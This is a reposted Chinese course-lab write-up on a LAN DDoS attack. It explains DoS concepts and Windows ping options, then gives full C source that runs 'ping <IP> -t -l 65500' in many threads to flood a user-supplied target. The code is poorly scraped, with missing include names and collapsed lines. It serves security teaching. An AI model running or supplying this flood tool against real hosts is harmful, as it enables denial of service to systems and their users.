软件安全实验——局域网DDoS攻击

软件安全实验——局域网DDoS攻击实验任务 对局域网内 IP 地址为 10 12 186 186 的主机 已关闭防火墙 发起基于网络流量的 DDoS 攻击

实验任务

    对局域网内IP地址为10.12.186.186的主机(已关闭防火墙)发起基于网络流量DDoS攻击。

实验过程

DoS攻击与DDoS攻击

    DoS是Denial of Service的简称,即拒绝服务。造成DoS的攻击行为被称为DoS攻击,其目的是使计算机或网络无法提供正常的服务。最常见的DOS攻击有计算机网络宽带攻击和连通性攻击。DoS攻击的目的是让目标计算机或网络无法提供正常的服务或资源访问,使目标系统服务系统停止响应甚至崩溃
    分布式拒绝服务攻击(DDoS)可以使很多的计算机在同一时间遭受到攻击,使攻击的目标无法正常使用。DDoS攻击的思路是与目标主机建立大量的网络连接,发送大量的网络请求,大量占用其网络资源,使其网络无法提供正常的服务。

ping命令参数

    在Windows下使用命令ping /?查看ping命令参数的含义:
    通过该提示可以看出:我们可以使用ping命令的-n参数指定要发送的回显次数(或者使用-t参数使其一直发送),可以使用-l指定发送的缓冲区大小,可以使用-w指定等待每次回复的时间。
请添加图片描述




实施DDoS攻击

    DoS攻击程序需要与目标主机建立大量的网络连接,发送大量的网络请求,大量占用其网络资源,使目标主机网络无法提供正常的服务。
    而ping命令可以使用ping命令的- t参数使其一直对目标主机发送网络请求,可以使用-l 65500指定较大的发送缓冲区大小
    程序需要控制输入一个有效的IP地址,然后利用字符串拼接操作拼接出“ping +IP地址”的命令,通过调用system函数使用ping命令实现攻击
    为了使得单机的攻击最大化,需要使用线程编程技术中的CreateThread函数创建多个线程进行攻击。此外,还需要多开攻击进程(使攻击进程占所有进程的比例增加,使得攻击进程尽量占用更多的时间片),使其尽量消耗CPU资源,使攻击效果最大化。
    DDoS攻击程序源代码如下:








#include  
     #include  
     #define MaxSize 50 #define MaxThreadNum 128 HANDLE ThreadHandle[MaxThreadNum]; //线程句柄 DWORD ThreadID[MaxThreadNum]; //线程ID DWORD WINAPI DDosServer(LPVOID IP_Address) { 
    //初始化ping命令 char Command[MaxSize] = "ping \0"; //IP格式转化 char *IP = (char *)IP_Address; //拼接IP strcat(Command, IP); //拼接ping命令参数(方式、缓冲区大小、请求数) //同时保证可控 strcat(Command, " -t -l 65500\0"); //执行ping命令 //这个命令不会结束,程序无法正常终止 system(Command); return 0; } int main() { 
    int ThreadNum = 8; char IP[16] = { 
   0}; //输入目标主机IP printf("请输入目标主机IP: "); scanf("%s", IP); printf("请输入攻击线程数:"); scanf("%d", &ThreadNum); for (int i = 0; i < ThreadNum; ++i) { 
    ThreadHandle[i] = CreateThread(NULL, 0, DDosServer, &IP, 0, &ThreadID[i]); if (ThreadHandle != NULL) printf("攻击线程%d创建成功!\n", i); else printf("攻击线程%d创建失败!\n", i); } //等待全部线程结束 WaitForMultipleObjects(ThreadNum, ThreadHandle, TRUE, INFINITE); for (int i = 0; i < ThreadNum; ++i) { 
    //关闭线程句柄 //TerminateThread(ThreadHandle[i], 0); if (CloseHandle(ThreadHandle[i]) == true) printf("攻击线程%d结束成功!\n", i); } return 0; } 
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/179373.html原文链接:https://javaforall.net

(0)
上一篇 2026年3月26日 下午3:44
下一篇 2026年3月26日 下午3:44


相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号